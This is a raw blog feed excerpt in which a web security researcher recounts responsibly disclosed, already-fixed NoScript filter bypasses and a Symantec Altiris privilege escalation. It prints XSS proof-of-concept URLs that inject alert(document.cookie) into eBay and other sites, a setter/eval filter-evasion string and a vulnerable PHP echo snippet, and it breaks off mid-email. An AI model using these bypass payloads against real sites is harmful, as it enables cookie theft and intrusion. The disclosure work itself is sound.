Greetz!!&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-1505705376533834915?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/qfWmsmbh0UGjK5GpZSer-9H-uBM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qfWmsmbh0UGjK5GpZSer-9H-uBM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/qfWmsmbh0UGjK5GpZSer-9H-uBM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qfWmsmbh0UGjK5GpZSer-9H-uBM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/MDhu02ukGKI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/1505705376533834915/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2008/10/about-css-attacks.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/1505705376533834915?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/1505705376533834915?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/MDhu02ukGKI/about-css-attacks.html" title="About CSS Attacks" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2008/10/about-css-attacks.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU4CRHo5fSp7ImA9WxRRF0U.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-2545778137895849484</id><published>2008-09-29T17:16:00.005-05:00</published><updated>2008-09-30T09:12:45.425-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-30T09:12:45.425-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="symantec" /><category scheme="http://www.blogger.com/atom/ns#" term="privilege escalation" /><title>Symantec Altiris Deployment Solution &lt; 6.9.176  Multiple Vulnerabilities</title><content type="html">Ok so, this isn't the normal type of vulnerabilities I post here (I'm mostly a webappsec guy), but well, I discovered this elevation of privileges on this product of Symantec (Altiris Deployment Solution), and it was fixed a while ago, but I hadn't the chance to post about it.&lt;br /&gt;
&lt;br /&gt;
This was researched with Alex Hernandez from &lt;a href="http://www.sybsecurity.com/"&gt;sybsecurity.com&lt;/a&gt; and from &lt;a href="http://elhacker.net/"&gt;elhacker.net&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
The document explaining the vulnerabilities is &lt;a href="http://www.milw0rm.com/papers/201"&gt;here&lt;/a&gt;.&lt;cite&gt;&lt;/cite&gt;&lt;br /&gt;
&lt;br /&gt;
And the exploit for the elevation of privileges is &lt;a href="http://www.milw0rm.com/exploits/5625"&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
This was reported to Symantec ( &lt;a href="mailto:secure@symantec.com"&gt;&lt;span class="HcCDpe"&gt;&lt;span class="lDACoc"&gt;secure@symantec.com&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; ), and they had a very quick and fluent communication with us, they responded fast whenever we asked for information, or had any doubts. The follow-up of this vulnerability has been tracked until today, and so the security team of Symantec is the best one we've met.&lt;br /&gt;
&lt;br /&gt;
Symantec released an advisory here:&lt;br /&gt;
&lt;a href="http://www.symantec.com/avcenter/security/Content/2008.05.14a.html"&gt;http://www.symantec.com/avcenter/security/Content/2008.05.14a.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Sybsecurity released another one here:&lt;br /&gt;
&lt;a href="http://www.sybsecurity.com/advisors/SYBSEC-ADV15-Symantec_Altiris_Client_Privilege_Escalation_Vulnerability"&gt;http://www.sybsecurity.com/advisors/SYBSEC-ADV15-Symantec_Altiris_Client_Privilege_Escalation_Vulnerability&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Greetings!!&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-2545778137895849484?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/fr_6F_BC9E_nCLWDHsFkJQ04Fuw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fr_6F_BC9E_nCLWDHsFkJQ04Fuw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/fr_6F_BC9E_nCLWDHsFkJQ04Fuw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fr_6F_BC9E_nCLWDHsFkJQ04Fuw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/oBZ73gXprMw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/2545778137895849484/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2008/09/symantec-altiris-deployment-solution.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/2545778137895849484?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/2545778137895849484?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/oBZ73gXprMw/symantec-altiris-deployment-solution.html" title="Symantec Altiris Deployment Solution &lt; 6.9.176  Multiple Vulnerabilities" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2008/09/symantec-altiris-deployment-solution.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0MFQXw7fyp7ImA9WxdXFUU.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-3939140144752168354</id><published>2008-06-27T10:16:00.004-05:00</published><updated>2008-06-27T11:50:10.207-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-06-27T11:50:10.207-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="firefox" /><category scheme="http://www.blogger.com/atom/ns#" term="noscript" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><title>Hacking NoScript</title><content type="html">Well, some people have recently asked why I am on some &lt;a href="http://noscript.net/changelog"&gt;NoScript release notes&lt;/a&gt;.. and that's a good question..&lt;br /&gt;&lt;br /&gt;I haven't released any details on the hacks against NoScript, since most of them where reported privately to &lt;a href="http://maone.net/"&gt;Giorgio&lt;/a&gt;..&lt;br /&gt;&lt;br /&gt;This is not the exception, I wont release any 0days here, I'll just give the details of the issues that I've reported in the past, and current NoScript users are immune to.&lt;br /&gt;&lt;br /&gt;Is important to say, that Giorgio fixes stuff in "hours", (or minutes in some cases), and he has done some &lt;a href="http://noscript.net/?ver=1.6.9.3&amp;amp;prev=1.6.9.1"&gt;crazy stuff&lt;/a&gt;, just so NoScript users can be safe, so if you dont use it, go &lt;a href="http://noscript.net/getit"&gt;get it&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;So, I'll go on chronological order:&lt;br /&gt;&lt;pre id="changelog" class="section"&gt;v &lt;b&gt;1.1.6.25&lt;/b&gt;&lt;br /&gt;=====================================================================&lt;br /&gt;&lt;span style="font-weight: bold;color:green;" &gt;+&lt;/span&gt; Fix for Sirdarckcat's JS redirection trick&lt;/pre&gt;&lt;br /&gt;That was.. if a website has an open redirection (like, for example, Google's &lt;a href="http://valleywag.com/tech/google/im-feeling-lucky-button-costs-google-110-million-per-year-324927.php"&gt;default open redirection feature&lt;/a&gt;), and you have that website as trusted (such as most people I guess they have.. Google).. a embed script on a website, pointing to Google's redirection, will be reported to be "from Google", and it will be loaded and executed.&lt;br /&gt;&lt;br /&gt;This was useful for example, to attackers that were not able to make a self contained XSS payload, and they needed to load the script from their website, but since their website was surely not on their victims whitelist, then the attack would be unsuccesfull.&lt;br /&gt;&lt;br /&gt;Anyway, by means of this, an attacker could be able to do something like the following PoC: &lt;a href="http://www.sirdarckcat.net/hades"&gt;http://www.sirdarckcat.net/hades&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;There I use another redirection on pages.google.com.&lt;br /&gt;&lt;br /&gt;If you use NoScript&gt;=1.1.6.25, this attack will be unsuccesful.&lt;br /&gt;&lt;br /&gt;&lt;pre id="changelog" class="section"&gt;v &lt;b&gt;1.1.7.6&lt;/b&gt;&lt;br /&gt;=====================================================================&lt;br /&gt;&lt;span style="font-weight: bold;color:green;" &gt;+&lt;/span&gt; srv.br "special" TLD (thanks Rodrigo Ristow Branco)&lt;br /&gt;&lt;span style="font-weight: bold;color:green;" &gt;+&lt;/span&gt; Better protection against "setter" based XSS vectors and encoded&lt;br /&gt;"name" payloads (thanks RSnake, Sirdarckcat and Kuza55, see&lt;br /&gt;http://ha.ckers.org/blog/20071104/owning-hackersorg-or-not/ )&lt;br /&gt;&lt;span style="font-weight: bold;color:green;" &gt;+&lt;/span&gt; Improved hidden links management, preserves original body CSS&lt;br /&gt;attributes when possible (thanks mdots)&lt;br /&gt;&lt;/pre&gt;That was an issue on NoScript XSS payload detection, that &lt;a href="http://sirdarckcat.blogspot.com/2007/11/inside-history-of-hacking-rsnake-for.html"&gt;I discussed some time ago&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The issue was that NoScript didn't detected setter/getter assignations, and so &lt;a href="http://ha.ckers.org/xss.swf?a=1:setter/**/a=eval,setter/**/b=atob,a=b=name"&gt;http://ha.ckers.org/xss.swf?a=1:setter/**/a=eval,setter/**/b=atob,a=b=name&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Was able to bypass NoScript filters.&lt;br /&gt;&lt;br /&gt;The xss.swf page was removed by RSnake, and (if you have ha.ckers.org as trusted) you will see NoScript XSS detection alert, if you are using NoScript &gt;=1.1.7.6&lt;br /&gt;&lt;br /&gt;&lt;pre id="changelog" class="section"&gt;&lt;br /&gt;&lt;a name="1.1.7.8"&gt;&lt;/a&gt;v &lt;b&gt;1.1.7.8&lt;/b&gt;&lt;br /&gt;=====================================================================&lt;br /&gt;&lt;span style="font-weight: bold;color:green;" &gt;+&lt;/span&gt; JAR uris are forbidden from loading as documents by default, see&lt;br /&gt;http://noscript.net/faq#jar for details&lt;br /&gt;&lt;span style="font-weight: bold;color:green;" &gt;+&lt;/span&gt; Block untrusted XBL (thanks Sirdarckcat for inspiration)&lt;br /&gt;&lt;span style="font-weight: bold;color:red;" &gt;x&lt;/span&gt; Various IFrame blocking refinements&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Well, I didnt reported that, I just inspired ma1 (and I dont know the details), but.. I guess that means that now -moz-binding XBL are not loaded if they are hosted on an untrusted website.&lt;br /&gt;&lt;br /&gt;This is probably related to rsnake's hacking attempt.&lt;br /&gt;&lt;br /&gt;&lt;pre id="changelog" class="section"&gt;v &lt;b&gt;1.2.2&lt;/b&gt;&lt;br /&gt;=====================================================================&lt;br /&gt;&lt;span style="font-weight: bold;color:red;" &gt;x&lt;/span&gt; Changed noscript.filterXGetRx default to make single quote removal&lt;br /&gt;happen only after positive injection checks (thanks sirdarckcat for&lt;br /&gt;suggestion)&lt;/pre&gt;&lt;br /&gt;About that one, it was a bug (not a vulnerability), that removed single quotes from websites, and iframes on some situations.&lt;br /&gt;&lt;br /&gt;Actually I discovered this while visiting kuza55's blog, since the little iframe in the top of blogspot blogs include the blog's title, and his blog title has a single quote.. that created some errors.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre id="changelog" class="section"&gt;v &lt;b&gt;1.6.9.2&lt;/b&gt;&lt;br /&gt;=====================================================================&lt;br /&gt;&lt;span style="font-weight: bold;color:red;" &gt;x&lt;/span&gt; Fixed Injection Checker checking ASCII 43 as a "plus" sign but not&lt;br /&gt;as a www-form-encoded space (thanks Sirdarckcat for report)&lt;br /&gt;&lt;span style="font-weight: bold;color:red;" &gt;x&lt;/span&gt; Google search anti-XSS exception now checks for real TLDs, rather&lt;br /&gt;than short 2nd level domains (thanks Sirdarckcat for report)&lt;br /&gt;&lt;span style="font-weight: bold;color:green;" &gt;+&lt;/span&gt; Refactored unescaping flow, allowing for easier extension&lt;br /&gt;&lt;span style="font-weight: bold;color:green;" &gt;+&lt;/span&gt; Ebay-style unescaping&lt;/pre&gt;&lt;br /&gt;That's detailed on &lt;a href="http://sla.ckers.org/"&gt;sla.ckers&lt;/a&gt;, here:&lt;br /&gt;&lt;a href="http://sla.ckers.org/forum/read.php?12,17238,page=2#msg-22925"&gt;http://sla.ckers.org/forum/read.php?12,17238,page=2#msg-22925&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I'll quote my message:&lt;br /&gt;&lt;div class="ReadBodyHead"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div class="ReadBodyHead"&gt;&lt;strong&gt;Re: Hacking noscript&lt;/strong&gt; &lt;span class="NewFlag"&gt;&lt;/span&gt;&lt;/div&gt;             &lt;div class="ReadBodyHead"&gt;Posted by: &lt;strong&gt;&lt;a href="http://sla.ckers.org/forum/profile.php?12,979"&gt;sirdarckcat&lt;/a&gt;&lt;/strong&gt; (IP Logged)&lt;/div&gt;       &lt;div class="ReadBodyHead"&gt;Date: June 16, 2008 04:02AM&lt;/div&gt;&lt;br /&gt;     &lt;div class="ReadBodyText"&gt; Ah! hacking noscript?&lt;br /&gt;&lt;br /&gt;thats easy..&lt;br /&gt;[&lt;a href="http://trustedsite.com/?xss-inside-script-tag=%27%2Balert%28document.cookie%29+//a:1"&gt;trustedsite.com&lt;/a&gt;]&lt;br /&gt;&lt;br /&gt;for example.. (eBay has a XSS issue very similar to the one I'm describing (well, actually, a lot of sites, but eBay rocks))&lt;br /&gt;&lt;br /&gt;&lt;pre class="bbcode"&gt;&lt;script&gt;&lt;br /&gt;var x='&lt;?php echo $_GET['xss']?&gt;';&lt;br /&gt;&lt;/script&gt;&lt;/pre&gt;&lt;br /&gt;But duuuude!! what's happening?&lt;br /&gt;&lt;br /&gt;Well, NoScript thinks, that.. "+" is a plus.. but in reality.. "+" is a space, and so..&lt;br /&gt;&lt;br /&gt;var x=''+alert(document.cookie) //a:';&lt;br /&gt;&lt;br /&gt;is valid js code! (damn, I'm good, 10 minutes to hack NoScript :D)&lt;br /&gt;&lt;br /&gt;Greetz!!&lt;br /&gt;&lt;br /&gt;PS. It's a joke, noscript is great :P, and even do I did spent 10 minutes to find the issue, it was because I had this idea for attacking noscript since a couple of months ago, but I didnt tested it till today.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;but WAIT!!&lt;br /&gt;thats all?&lt;br /&gt;&lt;br /&gt;The hell it isn't!! (anyway, this last attack is not so dangerous, since it requires user interaction [enabling javascript on an untrusted domain])&lt;br /&gt;&lt;br /&gt;Let's take a look at NoScript's default anti-xss rules:&lt;br /&gt;^[url]http://[/url]([a-z]+)\.google\.(?:[a-z]{1,3}\.)?[a-z]+/(?:search|custom|\1)\?&lt;br /&gt;&lt;br /&gt;That means, well.. that:&lt;br /&gt;[&lt;a href="http://images.google.com/search?asdfasdf=%3Cscript%3E&amp;amp;q=Asdf"&gt;images.google.com&lt;/a&gt;]&lt;br /&gt;&lt;br /&gt;Will bypass NoScript (because we all trust google =D), but.. wait.. that's for  google domains exclusively right?&lt;br /&gt;&lt;br /&gt;Well, wrong!! because, well.. 20 bux, we can get a 3 letter domain [&lt;a href="http://www.3character.com/recentsales.html"&gt;www.3character.com&lt;/a&gt;]&lt;br /&gt;&lt;br /&gt;And so do:&lt;br /&gt;&lt;br /&gt;[&lt;a href="http://www.google.xss.com/customcustom%3Fasdf%2F..%2F?some-host-not-checking-for-Host-headers=%3Cscript%3E"&gt;www.google.xss.com&lt;/a&gt;]&lt;br /&gt;&lt;br /&gt;Pointing google.xss.com to your router or something.&lt;br /&gt;&lt;br /&gt;There's an issue with this last attack.. NoScript does his job, and automatically denies google.xss.com.. anyway, enabling javascript in such domain (social engineering) would allow the attacker to send evil XSS attacks to your router/intranet what-ever.&lt;br /&gt;&lt;br /&gt;Anyway, hacking noscript is fun :D&lt;br /&gt;&lt;br /&gt;And in any case someone wondered..&lt;br /&gt;&lt;br /&gt;[&lt;a href="http://search.ebay.com/search/search.dll?_trksid=&amp;amp;satitle=ME+XSS+U&amp;amp;category0=&amp;amp;from=%27%2Balert%28document.cookie%29%2B%27"&gt;search.ebay.com&lt;/a&gt;]&lt;br /&gt;&lt;br /&gt;And yeah, that's not triggering noscript alarms :D&lt;br /&gt;&lt;br /&gt;Greetz!!&lt;/div&gt;&lt;/blockquote&gt;&lt;div class="ReadBodyText"&gt;&lt;/div&gt;&lt;br /&gt;And after all, this is ma1 response (where he uncovered that eBay uses a weird Q encoding, I didn't saw):&lt;br /&gt;&lt;br /&gt;&lt;div class="ReadBodyHead"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div class="ReadBodyHead"&gt;&lt;strong&gt;Re: Hacking noscript&lt;/strong&gt; &lt;span class="NewFlag"&gt;&lt;/span&gt;&lt;/div&gt;             &lt;div class="ReadBodyHead"&gt;Posted by: &lt;strong&gt;&lt;a href="http://sla.ckers.org/forum/profile.php?12,615"&gt;ma1&lt;/a&gt;&lt;/strong&gt; (IP Logged)&lt;/div&gt;       &lt;div class="ReadBodyHead"&gt;Date: June 16, 2008 09:36AM&lt;/div&gt;&lt;br /&gt;     &lt;div class="ReadBodyText"&gt; &lt;a href="http://noscript.net/changelog#1.6.9.2"&gt;FIXED&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now that it's fixed, I'll explain my innuendo to Ebay's "scary and brainless" issue, which reminds me closely last month's Base64 Yahoo one.&lt;br /&gt;&lt;br /&gt;Your PoC was&lt;br /&gt;&lt;br /&gt;&lt;a href="http://search.ebay.com/search/search.dll?_trksid=&amp;amp;satitle=ME+XSS+U&amp;amp;category0=&amp;amp;from=%27%2Balert%28document.cookie%29%2B%27"&gt;hxxp://search.ebay.com/search/search.dll?_trksid=&amp;amp;satitle=ME+XSS+U&amp;amp;category0=&amp;amp;from=%27%2Balert(document.cookie)%2B%27&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;and it did &lt;strong&gt;not&lt;/strong&gt; bypass NoScript. I guess you meant to write it in the "mixed plus" form, but this is not.&lt;br /&gt;&lt;br /&gt;But here's the truly scary one:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://search.ebay.com/ME-XSS-U_W0QQfromZQ27Q2balertQ28documentQ2ecookieQ29Q2bQ27"&gt;http://search.ebay.com/ME-XSS-U_W0QQfromZQ27Q2balertQ28documentQ2ecookieQ29Q2bQ27&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As you can see, ebay uses its own custom "Q-encoding", allowing XSS payloads virtually undetectable to any filter, &lt;i&gt;except&lt;/i&gt; NoScript &gt;= 1.6.9.2 ;)&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;IMPORTANT REQUEST (rules change)&lt;/strong&gt;&lt;br /&gt;Since as far as I can see NoScript now is actively used by more than 1.5 million users, it would be kind of you if new issues were responsibly disclosed to me before posting them there.&lt;br /&gt;I guarantee to handle them the very same day I read your report and to publish a development build with proper credits, but since one week is probably the minimum user-bearable window for automatic updates on stable releases, a 7 days grace period would be nice as a compromise to avoid an excessively tight update schedule for stable version users.&lt;/div&gt;&lt;/blockquote&gt;&lt;div class="ReadBodyText"&gt;And &lt;a href="http://www.php-ids.org/"&gt;PHPIDS&lt;/a&gt; now supports Qencoding decripting btw :P&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre id="changelog" class="section"&gt;v &lt;b&gt;1.6.9.8&lt;/b&gt;&lt;br /&gt;=====================================================================&lt;br /&gt;&lt;span style="font-weight: bold;color:red;" &gt;x&lt;/span&gt; Restored the noscript.forbidData preference to its orginal "true"&lt;br /&gt;default value (thanks Sirdarckcat for reporting an issue in the&lt;br /&gt;about:blank context prevented by this change)&lt;/pre&gt;&lt;br /&gt;And this one, the latest, is about a way of executing javascript even on untrsuted domains, if you can get your users to click while holding Ctrl.&lt;br /&gt;&lt;br /&gt;This are the e-mails:&lt;br /&gt;&lt;span style="font-size:85%;"&gt; &lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;/(?:Ctrl|Shift)[::click::]/.test(NoScript);&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt;9 messages&lt;/span&gt; &lt;hr /&gt; &lt;table width="100%" border="0" cellpadding="0" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;&lt;b&gt; Eduardo Vela &lt;&gt; &lt;/b&gt;&lt;/span&gt; &lt;/td&gt; &lt;td align="right"&gt; &lt;span style=""&gt;&lt;b&gt; Sat, Jun 21, 2008 at 7:07 AM &lt;/b&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;span style=""&gt; &lt;div&gt; To: Giorgio Maone &lt;&gt; &lt;/div&gt; &lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;table width="100%" border="0" cellpadding="12" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;Hi Giorgio!&lt;br /&gt;&lt;br /&gt;I've found out that NoScript allows javascript code execution on untrusted sites if you make your visitor click Control or Shift, and click on a page.&lt;br /&gt;&lt;br /&gt;I've mounted a PoC:&lt;br /&gt;&lt;a href="http://www.sirdarckcat.net/aw.html" target="_blank"&gt;http://www.sirdarckcat.net/aw&lt;wbr&gt;.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hold Control and then click somewhere.&lt;br /&gt;&lt;br /&gt;The script runs on about:blank context.. so it's not so, so, dangerous, but anyway..&lt;br /&gt;&lt;br /&gt;Greetings!!&lt;br /&gt;&lt;span style="color: rgb(136, 136, 136);"&gt;&lt;br /&gt;--&lt;br /&gt;Arnold Schwarzenegger  - "I have a love interest in every one of my films - a gun." &lt;/span&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;hr /&gt; &lt;table width="100%" border="0" cellpadding="0" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;&lt;b&gt; Giorgio Maone &lt;&gt; &lt;/b&gt;&lt;/span&gt; &lt;/td&gt; &lt;td align="right"&gt; &lt;span style=""&gt;&lt;b&gt; Sat, Jun 21, 2008 at 9:32 AM &lt;/b&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;span style=""&gt; &lt;div&gt; To: Eduardo Vela &lt;&gt; &lt;/div&gt; &lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;table width="100%" border="0" cellpadding="12" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;Hi Edoardo!&lt;br /&gt;&lt;br /&gt;Thanks for the info, it's very interesting.&lt;br /&gt;I'm investigating it.&lt;br /&gt;Cheers&lt;br /&gt;--&lt;br /&gt;&lt;span style="color: rgb(136, 136, 136);"&gt;Giorgio&lt;/span&gt;&lt;div style="padding: 5px 0pt;"&gt;&lt;span style="color: rgb(136, 136, 136);font-size:78%;" &gt;[Quoted text hidden]&lt;/span&gt;&lt;/div&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;hr /&gt; &lt;table width="100%" border="0" cellpadding="0" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;&lt;b&gt; Giorgio Maone &lt;&gt; &lt;/b&gt;&lt;/span&gt; &lt;/td&gt; &lt;td align="right"&gt; &lt;span style=""&gt;&lt;b&gt; Sat, Jun 21, 2008 at 9:35 AM &lt;/b&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;span style=""&gt; &lt;div&gt; To: Eduardo Vela &lt;&gt; &lt;/div&gt; &lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;table width="100%" border="0" cellpadding="12" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;BTW, shift does not work for me (must still test on a clean profile, though) but ctrl does.&lt;div style="padding: 5px 0pt;"&gt;&lt;span style="color: rgb(136, 136, 136);font-size:78%;" &gt;[Quoted text hidden]&lt;/span&gt;&lt;/div&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;hr /&gt; &lt;table width="100%" border="0" cellpadding="0" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;&lt;b&gt; Eduardo Vela &lt;&gt; &lt;/b&gt;&lt;/span&gt; &lt;/td&gt; &lt;td align="right"&gt; &lt;span style=""&gt;&lt;b&gt; Sat, Jun 21, 2008 at 9:36 AM &lt;/b&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;span style=""&gt; &lt;div&gt; To: Giorgio Maone &lt;&gt; &lt;/div&gt; &lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;table width="100%" border="0" cellpadding="12" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;Control should open the script on a new tab, and shift on a new window.. maybe popup blocker stuff, or something?&lt;div style="padding: 5px 0pt;"&gt;&lt;span style="color: rgb(136, 136, 136);font-size:78%;" &gt;[Quoted text hidden]&lt;/span&gt;&lt;/div&gt;&lt;span style="color: rgb(136, 136, 136);"&gt;--&lt;br /&gt;Frank Lloyd Wright  - "TV is chewing gum for the eyes." &lt;/span&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;hr /&gt; &lt;table width="100%" border="0" cellpadding="0" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;&lt;b&gt; Giorgio Maone &lt;&gt; &lt;/b&gt;&lt;/span&gt; &lt;/td&gt; &lt;td align="right"&gt; &lt;span style=""&gt;&lt;b&gt; Sat, Jun 21, 2008 at 9:38 AM &lt;/b&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;span style=""&gt; &lt;div&gt; To: Eduardo Vela &lt;&gt; &lt;/div&gt; &lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;table width="100%" border="0" cellpadding="12" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;Maybe, or Tab Mix Plus.&lt;br /&gt;Shift does open a window for me, but it's empty and no script gets executed.&lt;br /&gt;&lt;div style="padding: 5px 0pt;"&gt;&lt;span style="color: rgb(136, 136, 136);font-size:78%;" &gt;[Quoted text hidden]&lt;/span&gt;&lt;/div&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;hr /&gt; &lt;table width="100%" border="0" cellpadding="0" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;&lt;b&gt; Giorgio Maone &lt;&gt; &lt;/b&gt;&lt;/span&gt; &lt;/td&gt; &lt;td align="right"&gt; &lt;span style=""&gt;&lt;b&gt; Sat, Jun 21, 2008 at 9:56 AM &lt;/b&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;span style=""&gt; &lt;div&gt; To: Eduardo Vela &lt;&gt; 